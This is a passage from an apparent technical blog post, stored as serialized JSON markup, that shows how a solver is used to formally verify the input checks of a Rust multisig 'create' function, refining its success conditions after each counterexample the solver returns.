members",{"type":24,"tag":158,"props":24631,"children":24632},{"style":222},[24633],{"type":29,"value":462},{"type":24,"tag":158,"props":24635,"children":24636},{"style":177},[24637],{"type":29,"value":24629},{"type":24,"tag":158,"props":24639,"children":24640},{"style":188},[24641],{"type":29,"value":473},{"type":24,"tag":158,"props":24643,"children":24644},{"class":160,"line":5493},[24645,24649,24653,24658],{"type":24,"tag":158,"props":24646,"children":24647},{"style":177},[24648],{"type":29,"value":24566},{"type":24,"tag":158,"props":24650,"children":24651},{"style":222},[24652],{"type":29,"value":347},{"type":24,"tag":158,"props":24654,"children":24655},{"style":496},[24656],{"type":29,"value":24657},"sort",{"type":24,"tag":158,"props":24659,"children":24660},{"style":188},[24661],{"type":29,"value":5329},{"type":24,"tag":158,"props":24663,"children":24664},{"class":160,"line":5553},[24665,24669,24673,24678],{"type":24,"tag":158,"props":24666,"children":24667},{"style":177},[24668],{"type":29,"value":24566},{"type":24,"tag":158,"props":24670,"children":24671},{"style":222},[24672],{"type":29,"value":347},{"type":24,"tag":158,"props":24674,"children":24675},{"style":496},[24676],{"type":29,"value":24677},"dedup",{"type":24,"tag":158,"props":24679,"children":24680},{"style":188},[24681],{"type":29,"value":5329},{"type":24,"tag":158,"props":24683,"children":24684},{"class":160,"line":10636},[24685],{"type":24,"tag":158,"props":24686,"children":24687},{"emptyLinePlaceholder":16},[24688],{"type":29,"value":481},{"type":24,"tag":158,"props":24690,"children":24691},{"class":160,"line":10652},[24692],{"type":24,"tag":158,"props":24693,"children":24694},{"style":2588},[24695],{"type":29,"value":24696}," // check we don't exceed u16\n",{"type":24,"tag":158,"props":24698,"children":24699},{"class":160,"line":10696},[24700,24704,24709,24713,24717,24721,24725],{"type":24,"tag":158,"props":24701,"children":24702},{"style":165},[24703],{"type":29,"value":2710},{"type":24,"tag":158,"props":24705,"children":24706},{"style":177},[24707],{"type":29,"value":24708}," total_members",{"type":24,"tag":158,"props":24710,"children":24711},{"style":222},[24712],{"type":29,"value":462},{"type":24,"tag":158,"props":24714,"children":24715},{"style":177},[24716],{"type":29,"value":24629},{"type":24,"tag":158,"props":24718,"children":24719},{"style":222},[24720],{"type":29,"value":347},{"type":24,"tag":158,"props":24722,"children":24723},{"style":496},[24724],{"type":29,"value":10726},{"type":24,"tag":158,"props":24726,"children":24727},{"style":188},[24728],{"type":29,"value":5329},{"type":24,"tag":158,"props":24730,"children":24731},{"class":160,"line":10801},[24732,24736,24740,24744,24748],{"type":24,"tag":158,"props":24733,"children":24734},{"style":1914},[24735],{"type":29,"value":3160},{"type":24,"tag":158,"props":24737,"children":24738},{"style":177},[24739],{"type":29,"value":24708},{"type":24,"tag":158,"props":24741,"children":24742},{"style":222},[24743],{"type":29,"value":2116},{"type":24,"tag":158,"props":24745,"children":24746},{"style":465},[24747],{"type":29,"value":1668},{"type":24,"tag":158,"props":24749,"children":24750},{"style":188},[24751],{"type":29,"value":210},{"type":24,"tag":158,"props":24753,"children":24755},{"class":160,"line":24754},31,[24756,24760,24765,24769,24774,24778,24783],{"type":24,"tag":158,"props":24757,"children":24758},{"style":1914},[24759],{"type":29,"value":16980},{"type":24,"tag":158,"props":24761,"children":24762},{"style":496},[24763],{"type":29,"value":24764}," err!",{"type":24,"tag":158,"props":24766,"children":24767},{"style":188},[24768],{"type":29,"value":504},{"type":24,"tag":158,"props":24770,"children":24771},{"style":171},[24772],{"type":29,"value":24773},"MsError",{"type":24,"tag":158,"props":24775,"children":24776},{"style":222},[24777],{"type":29,"value":2146},{"type":24,"tag":158,"props":24779,"children":24780},{"style":171},[24781],{"type":29,"value":24782},"EmptyMembers",{"type":24,"tag":158,"props":24784,"children":24785},{"style":188},[24786],{"type":29,"value":1071},{"type":24,"tag":158,"props":24788,"children":24790},{"class":160,"line":24789},32,[24791],{"type":24,"tag":158,"props":24792,"children":24793},{"style":188},[24794],{"type":29,"value":3967},{"type":24,"tag":158,"props":24796,"children":24798},{"class":160,"line":24797},33,[24799],{"type":24,"tag":158,"props":24800,"children":24801},{"emptyLinePlaceholder":16},[24802],{"type":29,"value":481},{"type":24,"tag":158,"props":24804,"children":24806},{"class":160,"line":24805},34,[24807],{"type":24,"tag":158,"props":24808,"children":24809},{"style":2588},[24810],{"type":29,"value":24811}," // make sure we don't exceed u16 on first call\n",{"type":24,"tag":158,"props":24813,"children":24815},{"class":160,"line":24814},35,[24816,24820,24824,24828,24832,24836,24840,24845,24849],{"type":24,"tag":158,"props":24817,"children":24818},{"style":1914},[24819],{"type":29,"value":3160},{"type":24,"tag":158,"props":24821,"children":24822},{"style":177},[24823],{"type":29,"value":24708},{"type":24,"tag":158,"props":24825,"children":24826},{"style":222},[24827],{"type":29,"value":15428},{"type":24,"tag":158,"props":24829,"children":24830},{"style":171},[24831],{"type":29,"value":14965},{"type":24,"tag":158,"props":24833,"children":24834},{"style":222},[24835],{"type":29,"value":2146},{"type":24,"tag":158,"props":24837,"children":24838},{"style":496},[24839],{"type":29,"value":20716},{"type":24,"tag":158,"props":24841,"children":24842},{"style":188},[24843],{"type":29,"value":24844},"(u16",{"type":24,"tag":158,"props":24846,"children":24847},{"style":222},[24848],{"type":29,"value":2146},{"type":24,"tag":158,"props":24850,"children":24851},{"style":188},[24852],{"type":29,"value":24853},"MAX) {\n",{"type":24,"tag":158,"props":24855,"children":24857},{"class":160,"line":24856},36,[24858,24862,24866,24870,24874,24878,24883],{"type":24,"tag":158,"props":24859,"children":24860},{"style":1914},[24861],{"type":29,"value":16980},{"type":24,"tag":158,"props":24863,"children":24864},{"style":496},[24865],{"type":29,"value":24764},{"type":24,"tag":158,"props":24867,"children":24868},{"style":188},[24869],{"type":29,"value":504},{"type":24,"tag":158,"props":24871,"children":24872},{"style":171},[24873],{"type":29,"value":24773},{"type":24,"tag":158,"props":24875,"children":24876},{"style":222},[24877],{"type":29,"value":2146},{"type":24,"tag":158,"props":24879,"children":24880},{"style":171},[24881],{"type":29,"value":24882},"MaxMembersReached",{"type":24,"tag":158,"props":24884,"children":24885},{"style":188},[24886],{"type":29,"value":1071},{"type":24,"tag":158,"props":24888,"children":24890},{"class":160,"line":24889},37,[24891],{"type":24,"tag":158,"props":24892,"children":24893},{"style":188},[24894],{"type":29,"value":3967},{"type":24,"tag":158,"props":24896,"children":24898},{"class":160,"line":24897},38,[24899],{"type":24,"tag":158,"props":24900,"children":24901},{"emptyLinePlaceholder":16},[24902],{"type":29,"value":481},{"type":24,"tag":158,"props":24904,"children":24906},{"class":160,"line":24905},39,[24907],{"type":24,"tag":158,"props":24908,"children":24909},{"style":2588},[24910],{"type":29,"value":24911}," // make sure threshold is valid\n",{"type":24,"tag":158,"props":24913,"children":24915},{"class":160,"line":24914},40,[24916,24920,24924,24928,24932,24936,24940,24945,24949,24954,24958,24962,24966,24970,24974,24979,24984],{"type":24,"tag":158,"props":24917,"children":24918},{"style":1914},[24919],{"type":29,"value":3160},{"type":24,"tag":158,"props":24921,"children":24922},{"style":171},[24923],{"type":29,"value":14965},{"type":24,"tag":158,"props":24925,"children":24926},{"style":222},[24927],{"type":29,"value":2146},{"type":24,"tag":158,"props":24929,"children":24930},{"style":496},[24931],{"type":29,"value":20716},{"type":24,"tag":158,"props":24933,"children":24934},{"style":188},[24935],{"type":29,"value":504},{"type":24,"tag":158,"props":24937,"children":24938},{"style":177},[24939],{"type":29,"value":23994},{"type":24,"tag":158,"props":24941,"children":24942},{"style":188},[24943],{"type":29,"value":24944},") \u003C ",{"type":24,"tag":158,"props":24946,"children":24947},{"style":465},[24948],{"type":29,"value":5672},{"type":24,"tag":158,"props":24950,"children":24951},{"style":222},[24952],{"type":29,"value":24953}," ||",{"type":24,"tag":158,"props":24955,"children":24956},{"style":171},[24957],{"type":29,"value":14965},{"type":24,"tag":158,"props":24959,"children":24960},{"style":222},[24961],{"type":29,"value":2146},{"type":24,"tag":158,"props":24963,"children":24964},{"style":496},[24965],{"type":29,"value":20716},{"type":24,"tag":158,"props":24967,"children":24968},{"style":188},[24969],{"type":29,"value":504},{"type":24,"tag":158,"props":24971,"children":24972},{"style":177},[24973],{"type":29,"value":23994},{"type":24,"tag":158,"props":24975,"children":24976},{"style":188},[24977],{"type":29,"value":24978},") > ",{"type":24,"tag":158,"props":24980,"children":24981},{"style":177},[24982],{"type":29,"value":24983},"total_members",{"type":24,"tag":158,"props":24985,"children":24986},{"style":188},[24987],{"type":29,"value":210},{"type":24,"tag":158,"props":24989,"children":24991},{"class":160,"line":24990},41,[24992,24996,25000,25004,25008,25012,25017],{"type":24,"tag":158,"props":24993,"children":24994},{"style":1914},[24995],{"type":29,"value":16980},{"type":24,"tag":158,"props":24997,"children":24998},{"style":496},[24999],{"type":29,"value":24764},{"type":24,"tag":158,"props":25001,"children":25002},{"style":188},[25003],{"type":29,"value":504},{"type":24,"tag":158,"props":25005,"children":25006},{"style":171},[25007],{"type":29,"value":24773},{"type":24,"tag":158,"props":25009,"children":25010},{"style":222},[25011],{"type":29,"value":2146},{"type":24,"tag":158,"props":25013,"children":25014},{"style":171},[25015],{"type":29,"value":25016},"InvalidThreshold",{"type":24,"tag":158,"props":25018,"children":25019},{"style":188},[25020],{"type":29,"value":1071},{"type":24,"tag":158,"props":25022,"children":25024},{"class":160,"line":25023},42,[25025],{"type":24,"tag":158,"props":25026,"children":25027},{"style":188},[25028],{"type":29,"value":3967},{"type":24,"tag":158,"props":25030,"children":25032},{"class":160,"line":25031},43,[25033],{"type":24,"tag":158,"props":25034,"children":25035},{"emptyLinePlaceholder":16},[25036],{"type":29,"value":481},{"type":24,"tag":158,"props":25038,"children":25040},{"class":160,"line":25039},44,[25041,25045,25049,25053,25057,25062,25066,25070],{"type":24,"tag":158,"props":25042,"children":25043},{"style":177},[25044],{"type":29,"value":21467},{"type":24,"tag":158,"props":25046,"children":25047},{"style":222},[25048],{"type":29,"value":347},{"type":24,"tag":158,"props":25050,"children":25051},{"style":188},[25052],{"type":29,"value":15909},{"type":24,"tag":158,"props":25054,"children":25055},{"style":222},[25056],{"type":29,"value":347},{"type":24,"tag":158,"props":25058,"children":25059},{"style":188},[25060],{"type":29,"value":25061},"multisig",{"type":24,"tag":158,"props":25063,"children":25064},{"style":222},[25065],{"type":29,"value":347},{"type":24,"tag":158,"props":25067,"children":25068},{"style":496},[25069],{"type":29,"value":21984},{"type":24,"tag":158,"props":25071,"children":25072},{"style":188},[25073],{"type":29,"value":2156},{"type":24,"tag":158,"props":25075,"children":25077},{"class":160,"line":25076},45,[25078,25083],{"type":24,"tag":158,"props":25079,"children":25080},{"style":177},[25081],{"type":29,"value":25082}," threshold",{"type":24,"tag":158,"props":25084,"children":25085},{"style":188},[25086],{"type":29,"value":235},{"type":24,"tag":158,"props":25088,"children":25090},{"class":160,"line":25089},46,[25091,25096],{"type":24,"tag":158,"props":25092,"children":25093},{"style":177},[25094],{"type":29,"value":25095}," create_key",{"type":24,"tag":158,"props":25097,"children":25098},{"style":188},[25099],{"type":29,"value":235},{"type":24,"tag":158,"props":25101,"children":25103},{"class":160,"line":25102},47,[25104,25109],{"type":24,"tag":158,"props":25105,"children":25106},{"style":177},[25107],{"type":29,"value":25108}," members",{"type":24,"tag":158,"props":25110,"children":25111},{"style":188},[25112],{"type":29,"value":235},{"type":24,"tag":158,"props":25114,"children":25116},{"class":160,"line":25115},48,[25117,25121,25125,25129,25134,25138,25142,25146,25151,25155,25159,25163],{"type":24,"tag":158,"props":25118,"children":25119},{"style":222},[25120],{"type":29,"value":9392},{"type":24,"tag":158,"props":25122,"children":25123},{"style":177},[25124],{"type":29,"value":21524},{"type":24,"tag":158,"props":25126,"children":25127},{"style":222},[25128],{"type":29,"value":347},{"type":24,"tag":158,"props":25130,"children":25131},{"style":188},[25132],{"type":29,"value":25133},"bumps",{"type":24,"tag":158,"props":25135,"children":25136},{"style":222},[25137],{"type":29,"value":347},{"type":24,"tag":158,"props":25139,"children":25140},{"style":496},[25141],{"type":29,"value":17588},{"type":24,"tag":158,"props":25143,"children":25144},{"style":188},[25145],{"type":29,"value":504},{"type":24,"tag":158,"props":25147,"children":25148},{"style":1108},[25149],{"type":29,"value":25150},"\"multisig\"",{"type":24,"tag":158,"props":25152,"children":25153},{"style":188},[25154],{"type":29,"value":521},{"type":24,"tag":158,"props":25156,"children":25157},{"style":222},[25158],{"type":29,"value":347},{"type":24,"tag":158,"props":25160,"children":25161},{"style":496},[25162],{"type":29,"value":5324},{"type":24,"tag":158,"props":25164,"children":25165},{"style":188},[25166],{"type":29,"value":5150},{"type":24,"tag":158,"props":25168,"children":25170},{"class":160,"line":25169},49,[25171],{"type":24,"tag":158,"props":25172,"children":25173},{"style":188},[25174],{"type":29,"value":25175}," )\n",{"type":24,"tag":158,"props":25177,"children":25179},{"class":160,"line":25178},50,[25180],{"type":24,"tag":158,"props":25181,"children":25182},{"style":188},[25183],{"type":29,"value":307},{"type":24,"tag":25,"props":25185,"children":25186},{},[25187,25189,25194,25196,25201],{"type":29,"value":25188},"We can start by testing an empty ",{"type":24,"tag":154,"props":25190,"children":25192},{"className":25191},[],[25193],{"type":29,"value":21398},{"type":29,"value":25195}," (this will default to ",{"type":24,"tag":154,"props":25197,"children":25199},{"className":25198},[],[25200],{"type":29,"value":3185},{"type":29,"value":25202},"):",{"type":24,"tag":147,"props":25204,"children":25206},{"code":25205,"language":150,"meta":7,"className":151,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[25207],{"type":24,"tag":154,"props":25208,"children":25209},{"__ignoreMap":7},[25210,25218],{"type":24,"tag":158,"props":25211,"children":25212},{"class":160,"line":161},[25213],{"type":24,"tag":158,"props":25214,"children":25215},{"style":188},[25216],{"type":29,"value":25217},"#[succeeds_if()]\n",{"type":24,"tag":158,"props":25219,"children":25220},{"class":160,"line":213},[25221,25225,25229,25233,25237,25241,25246,25250],{"type":24,"tag":158,"props":25222,"children":25223},{"style":165},[25224],{"type":29,"value":14924},{"type":24,"tag":158,"props":25226,"children":25227},{"style":165},[25228],{"type":29,"value":14929},{"type":24,"tag":158,"props":25230,"children":25231},{"style":496},[25232],{"type":29,"value":8755},{"type":24,"tag":158,"props":25234,"children":25235},{"style":188},[25236],{"type":29,"value":504},{"type":24,"tag":158,"props":25238,"children":25239},{"style":222},[25240],{"type":29,"value":377},{"type":24,"tag":158,"props":25242,"children":25243},{"style":188},[25244],{"type":29,"value":25245},") { ",{"type":24,"tag":158,"props":25247,"children":25248},{"style":222},[25249],{"type":29,"value":377},{"type":24,"tag":158,"props":25251,"children":25252},{"style":188},[25253],{"type":29,"value":382},{"type":24,"tag":25,"props":25255,"children":25256},{},[25257],{"type":29,"value":25258},"Running the solver, we get:",{"type":24,"tag":147,"props":25260,"children":25262},{"code":25261},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[25263],{"type":24,"tag":154,"props":25264,"children":25265},{"__ignoreMap":7},[25266],{"type":29,"value":25261},{"type":24,"tag":25,"props":25268,"children":25269},{},[25270,25272,25277],{"type":29,"value":25271},"This means that ",{"type":24,"tag":154,"props":25273,"children":25275},{"className":25274},[],[25276],{"type":29,"value":3185},{"type":29,"value":25278}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":24,"tag":25,"props":25280,"children":25281},{},[25282],{"type":29,"value":25283},"We can ask the solver to produce a counterexample:",{"type":24,"tag":147,"props":25285,"children":25287},{"code":25286},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25288],{"type":24,"tag":154,"props":25289,"children":25290},{"__ignoreMap":7},[25291],{"type":29,"value":25286},{"type":24,"tag":25,"props":25293,"children":25294},{},[25295],{"type":29,"value":25296},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":24,"tag":25,"props":25298,"children":25299},{},[25300],{"type":24,"tag":32,"props":25301,"children":25302},{},[25303,25305,25311],{"type":29,"value":25304},"Note also that the verifier decided to use a ",{"type":24,"tag":154,"props":25306,"children":25308},{"className":25307},[],[25309],{"type":29,"value":25310},"SparseVec",{"type":29,"value":25312}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":24,"tag":25,"props":25314,"children":25315},{},[25316],{"type":24,"tag":32,"props":25317,"children":25318},{},[25319,25321,25326,25327,25333,25335,25340,25342,25347],{"type":29,"value":25320},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":24,"tag":154,"props":25322,"children":25324},{"className":25323},[],[25325],{"type":29,"value":5469},{"type":29,"value":1826},{"type":24,"tag":154,"props":25328,"children":25330},{"className":25329},[],[25331],{"type":29,"value":25332},"pop",{"type":29,"value":25334}," are stubbed out to simply panic for the ",{"type":24,"tag":154,"props":25336,"children":25338},{"className":25337},[],[25339],{"type":29,"value":25310},{"type":29,"value":25341}," and if this code tried to do that we would fall back to the concrete ",{"type":24,"tag":154,"props":25343,"children":25345},{"className":25344},[],[25346],{"type":29,"value":18449},{"type":29,"value":25348}," type.",{"type":24,"tag":25,"props":25350,"children":25351},{},[25352],{"type":29,"value":25353},"We can add this to our constraint and try again:",{"type":24,"tag":147,"props":25355,"children":25357},{"code":25356,"language":150,"meta":7,"className":151,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[25358],{"type":24,"tag":154,"props":25359,"children":25360},{"__ignoreMap":7},[25361,25369,25406,25413],{"type":24,"tag":158,"props":25362,"children":25363},{"class":160,"line":161},[25364],{"type":24,"tag":158,"props":25365,"children":25366},{"style":188},[25367],{"type":29,"value":25368},"#[succeeds_if(\n",{"type":24,"tag":158,"props":25370,"children":25371},{"class":160,"line":213},[25372,25377,25381,25385,25389,25393,25397,25401],{"type":24,"tag":158,"props":25373,"children":25374},{"style":188},[25375],{"type":29,"value":25376}," (threshold ",{"type":24,"tag":158,"props":25378,"children":25379},{"style":165},[25380],{"type":29,"value":2245},{"type":24,"tag":158,"props":25382,"children":25383},{"style":171},[25384],{"type":29,"value":14965},{"type":24,"tag":158,"props":25386,"children":25387},{"style":188},[25388],{"type":29,"value":723},{"type":24,"tag":158,"props":25390,"children":25391},{"style":222},[25392],{"type":29,"value":20657},{"type":24,"tag":158,"props":25394,"children":25395},{"style":188},[25396],{"type":29,"value":24629},{"type":24,"tag":158,"props":25398,"children":25399},{"style":222},[25400],{"type":29,"value":347},{"type":24,"tag":158,"props":25402,"children":25403},{"style":188},[25404],{"type":29,"value":25405},"len()\n",{"type":24,"tag":158,"props":25407,"children":25408},{"class":160,"line":238},[25409],{"type":24,"tag":158,"props":25410,"children":25411},{"style":188},[25412],{"type":29,"value":21502},{"type":24,"tag":158,"props":25414,"children":25415},{"class":160,"line":259},[25416,25420,25424,25428,25432,25436,25440,25444],{"type":24,"tag":158,"props":25417,"children":25418},{"style":165},[25419],{"type":29,"value":14924},{"type":24,"tag":158,"props":25421,"children":25422},{"style":165},[25423],{"type":29,"value":14929},{"type":24,"tag":158,"props":25425,"children":25426},{"style":496},[25427],{"type":29,"value":8755},{"type":24,"tag":158,"props":25429,"children":25430},{"style":188},[25431],{"type":29,"value":504},{"type":24,"tag":158,"props":25433,"children":25434},{"style":222},[25435],{"type":29,"value":377},{"type":24,"tag":158,"props":25437,"children":25438},{"style":188},[25439],{"type":29,"value":25245},{"type":24,"tag":158,"props":25441,"children":25442},{"style":222},[25443],{"type":29,"value":377},{"type":24,"tag":158,"props":25445,"children":25446},{"style":188},[25447],{"type":29,"value":382},{"type":24,"tag":25,"props":25449,"children":25450},{},[25451],{"type":29,"value":25452},"Verification failed again! This time we get a different counterexample:",{"type":24,"tag":147,"props":25454,"children":25456},{"code":25455},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25457],{"type":24,"tag":154,"props":25458,"children":25459},{"__ignoreMap":7},[25460],{"type":29,"value":25455},{"type":24,"tag":25,"props":25462,"children":25463},{},[25464],{"type":29,"value":25465},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":24,"tag":147,"props":25467,"children":25469},{"code":25468,"language":150,"meta":7,"className":151,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[25470],{"type":24,"tag":154,"props":25471,"children":25472},{"__ignoreMap":7},[25473,25480,25515,25536,25543],{"type":24,"tag":158,"props":25474,"children":25475},{"class":160,"line":161},[25476],{"type":24,"tag":158,"props":25477,"children":25478},{"style":188},[25479],{"type":29,"value":25368},{"type":24,"tag":158,"props":25481,"children":25482},{"class":160,"line":213},[25483,25487,25491,25495,25499,25503,25507,25511],{"type":24,"tag":158,"props":25484,"children":25485},{"style":188},[25486],{"type":29,"value":25376},{"type":24,"tag":158,"props":25488,"children":25489},{"style":165},[25490],{"type":29,"value":2245},{"type":24,"tag":158,"props":25492,"children":25493},{"style":171},[25494],{"type":29,"value":14965},{"type":24,"tag":158,"props":25496,"children":25497},{"style":188},[25498],{"type":29,"value":723},{"type":24,"tag":158,"props":25500,"children":25501},{"style":222},[25502],{"type":29,"value":20657},{"type":24,"tag":158,"props":25504,"children":25505},{"style":188},[25506],{"type":29,"value":24629},{"type":24,"tag":158,"props":25508,"children":25509},{"style":222},[25510],{"type":29,"value":347},{"type":24,"tag":158,"props":25512,"children":25513},{"style":188},[25514],{"type":29,"value":25405},{"type":24,"tag":158,"props":25516,"children":25517},{"class":160,"line":238},[25518,25522,25527,25531],{"type":24,"tag":158,"props":25519,"children":25520},{"style":222},[25521],{"type":29,"value":16857},{"type":24,"tag":158,"props":25523,"children":25524},{"style":188},[25525],{"type":29,"value":25526}," threshold ",{"type":24,"tag":158,"props":25528,"children":25529},{"style":222},[25530],{"type":29,"value":16924},{"type":24,"tag":158,"props":25532,"children":25533},{"style":188},[25534],{"type":29,"value":25535}," 0\n",{"type":24,"tag":158,"props":25537,"children":25538},{"class":160,"line":259},[25539],{"type":24,"tag":158,"props":25540,"children":25541},{"style":188},[25542],{"type":29,"value":21502},{"type":24,"tag":158,"props":25544,"children":25545},{"class":160,"line":280},[25546,25550,25554,25558,25562,25566,25570,25574],{"type":24,"tag":158,"props":25547,"children":25548},{"style":165},[25549],{"type":29,"value":14924},{"type":24,"tag":158,"props":25551,"children":25552},{"style":165},[25553],{"type":29,"value":14929},{"type":24,"tag":158,"props":25555,"children":25556},{"style":496},[25557],{"type":29,"value":8755},{"type":24,"tag":158,"props":25559,"children":25560},{"style":188},[25561],{"type":29,"value":504},{"type":24,"tag":158,"props":25563,"children":25564},{"style":222},[25565],{"type":29,"value":377},{"type":24,"tag":158,"props":25567,"children":25568},{"style":188},[25569],{"type":29,"value":25245},{"type":24,"tag":158,"props":25571,"children":25572},{"style":222},[25573],{"type":29,"value":377},{"type":24,"tag":158,"props":25575,"children":25576},{"style":188},[25577],{"type":29,"value":382},{"type":24,"tag":25,"props":25579,"children":25580},{},[25581],{"type":29,"value":25582},"A third counterexample:",{"type":24,"tag":147,"props":25584,"children":25586},{"code":25585},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[25587],{"type":24,"tag":154,"props":25588,"children":25589},{"__ignoreMap":7},[25590],{"type":29,"value":25585},{"type":24,"tag":25,"props":25592,"children":25593},{},[25594,25596,25602],{"type":29,"value":25595},"Here we see the size of our ",{"type":24,"tag":154,"props":25597,"children":25599},{"className":25598},[],[25600],{"type":29,"value":25601},"members",{"type":29,"value":25603}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":24,"tag":147,"props":25605,"children":25607},{"code":25606,"language":150,"meta":7,"className":151,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[25608],{"type":24,"tag":154,"props":25609,"children":25610},{"__ignoreMap":7},[25611,25618,25653,25674,25726,25733],{"type":24,"tag":158,"props":25612,"children":25613},{"class":160,"line":161},[25614],{"type":24,"tag":158,"props":25615,"children":25616},{"style":188},[25617],{"type":29,"value":25368},{"type":24,"tag":158,"props":25619,"children":25620},{"class":160,"line":213},[25621,25625,25629,25633,25637,25641,25645,25649],{"type":24,"tag":158,"props":25622,"children":25623},{"style":188},[25624],{"type":29,"value":25376},{"type":24,"tag":158,"props":25626,"children":25627},{"style":165},[25628],{"type":29,"value":2245},{"type":24,"tag":158,"props":25630,"children":25631},{"style":171},[25632],{"type":29,"value":14965},{"type":24,"tag":158,"props":25634,"children":25635},{"style":188},[25636],{"type":29,"value":723},{"type":24,"tag":158,"props":25638,"children":25639},{"style":222},[25640],{"type":29,"value":20657},{"type":24,"tag":158,"props":25642,"children":25643},{"style":188},[25644],{"type":29,"value":24629},{"type":24,"tag":158,"props":25646,"children":25647},{"style":222},[25648],{"type":29,"value":347},{"type":24,"tag":158,"props":25650,"children":25651},{"style":188},[25652],{"type":29,"value":25405},{"type":24,"tag":158,"props":25654,"children":25655},{"class":160,"line":238},[25656,25660,25665,25669],{"type":24,"tag":158,"props":25657,"children":25658},{"style":222},[25659],{"type":29,"value":16857},{"type":24,"tag":158,"props":25661,"children":25662},{"style":188},[25663],{"type":29,"value":25664}," (threshold ",{"type":24,"tag":158,"props":25666,"children":25667},{"style":222},[25668],{"type":29,"value":16924},{"type":24,"tag":158,"props":25670,"children":25671},{"style":188},[25672],{"type":29,"value":25673}," 0)\n",{"type":24,"tag":158,"props":25675,"children":25676},{"class":160,"line":259},[25677,25681,25685,25689,25693,25697,25701,25706,25710,25714,25718,25722],{"type":24,"tag":158,"props":25678,"children":25679},{"style":222},[25680],{"type":29,"value":16857},{"type":24,"tag":158,"props":25682,"children":25683},{"style":188},[25684],{"type":29,"value":24243},{"type":24,"tag":158,"props":25686,"children":25687},{"style":222},[25688],{"type":29,"value":347},{"type":24,"tag":158,"props":25690,"children":25691},{"style":188},[25692],{"type":29,"value":22265},{"type":24,"tag":158,"props":25694,"children":25695},{"style":222},[25696],{"type":29,"value":20657},{"type":24,"tag":158,"props":25698,"children":25699},{"style":188},[25700],{"type":29,"value":2262},{"type":24,"tag":158,"props":25702,"children":25703},{"style":171},[25704],{"type":29,"value":25705},"u16",{"type":24,"tag":158,"props":25707,"children":25708},{"style":222},[25709],{"type":29,"value":2146},{"type":24,"tag":158,"props":25711,"children":25712},{"style":171},[25713],{"type":29,"value":22283},{"type":24,"tag":158,"props":25715,"children":25716},{"style":165},[25717],{"type":29,"value":2231},{"type":24,"tag":158,"props":25719,"children":25720},{"style":171},[25721],{"type":29,"value":14965},{"type":24,"tag":158,"props":25723,"children":25724},{"style":188},[25725],{"type":29,"value":20955},{"type":24,"tag":158,"props":25727,"children":25728},{"class":160,"line":280},[25729],{"type":24,"tag":158,"props":25730,"children":25731},{"style":188},[25732],{"type":29,"value":21502},{"type":24,"tag":158,"props":25734,"children":25735},{"class":160,"line":301},[25736,25740,25744,25748,25752,25756,25760,25764],{"type":24,"tag":158,"props":25737,"children":25738},{"style":165},[25739],{"type":29,"value":14924},{"type":24,"tag":158,"props":25741,"children":25742},{"style":165},[25743],{"type":29,"value":14929},{"type":24,"tag":158,"props":25745,"children":25746},{"style":496},[25747],{"type":29,"value":8755},{"type":24,"tag":158,"props":25749,"children":25750},{"style":188},[25751],{"type":29,"value":504},{"type":24,"tag":158,"props":25753,"children":25754},{"style":222},[25755],{"type":29,"value":377},{"type":24,"tag":158,"props":25757,"children":25758},{"style":188},[25759],{"type":29,"value":25245},{"type":24,"tag":158,"props":25761,"children":25762},{"style":222},[25763],{"type":29,"value":377},{"type":24,"tag":158,"props":25765,"children":25766},{"style":188},[25767],{"type":29,"value":382},{"type":24,"tag":25,"props":25769,"children":25770},{},[25771],{"type":29,"value":25772},"And now we get:",{"type":24,"tag":147,"props":25774,"children":25776},{"code":25775},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[25777],{"type":24,"tag":154,"props":25778,"children":25779},{"__ignoreMap":7},[25780],{"type":29,"value":25775},{"type":24,"tag":25,"props":25782,"children":25783},{},[25784],{"type":29,"value":25785},"🥳🥳🥳",{"type":24,"tag":25,"props":25787,"children":25788},{},[25789],{"type":29,"value":25790},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":24,"tag":147,"props":25792,"children":25794},{"code":25793,"language":150,"meta":7,"className":151,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[25795],{"type":24,"tag":154,"props":25796,"children":25797},{"__ignoreMap":7},[25798,25821,25852],{"type":24,"tag":158,"props":25799,"children":25800},{"class":160,"line":161},[25801,25805,25809,25813,25817],{"type":24,"tag":158,"props":25802,"children":25803},{"style":1914},[25804],{"type":29,"value":16815},{"type":24,"tag":158,"props":25806,"children":25807},{"style":177},[25808],{"type":29,"value":24708},{"type":24,"tag":158,"props":25810,"children":25811},{"style":222},[25812],{"type":29,"value":2116},{"type":24,"tag":158,"props":25814,"children":25815},{"style":465},[25816],{"type":29,"value":1668},{"type":24,"tag":158,"props":25818,"children":25819},{"style":188},[25820],{"type":29,"value":210},{"type":24,"tag":158,"props":25822,"children":25823},{"class":160,"line":213},[25824,25828,25832,25836,25840,25844,25848],{"type":24,"tag":158,"props":25825,"children":25826},{"style":1914},[25827],{"type":29,"value":18227},{"type":24,"tag":158,"props":25829,"children":25830},{"style":496},[25831],{"type":29,"value":24764},{"type":24,"tag":158,"props":25833,"children":25834},{"style":188},[25835],{"type":29,"value":504},{"type":24,"tag":158,"props":25837,"children":25838},{"style":171},[25839],{"type":29,"value":24773},{"type":24,"tag":158,"props":25841,"children":25842},{"style":222},[25843],{"type":29,"value":2146},{"type":24,"tag":158,"props":25845,"children":25846},{"style":171},[25847],{"type":29,"value":24782},{"type":24,"tag":158,"props":25849,"children":25850},{"style":188},[258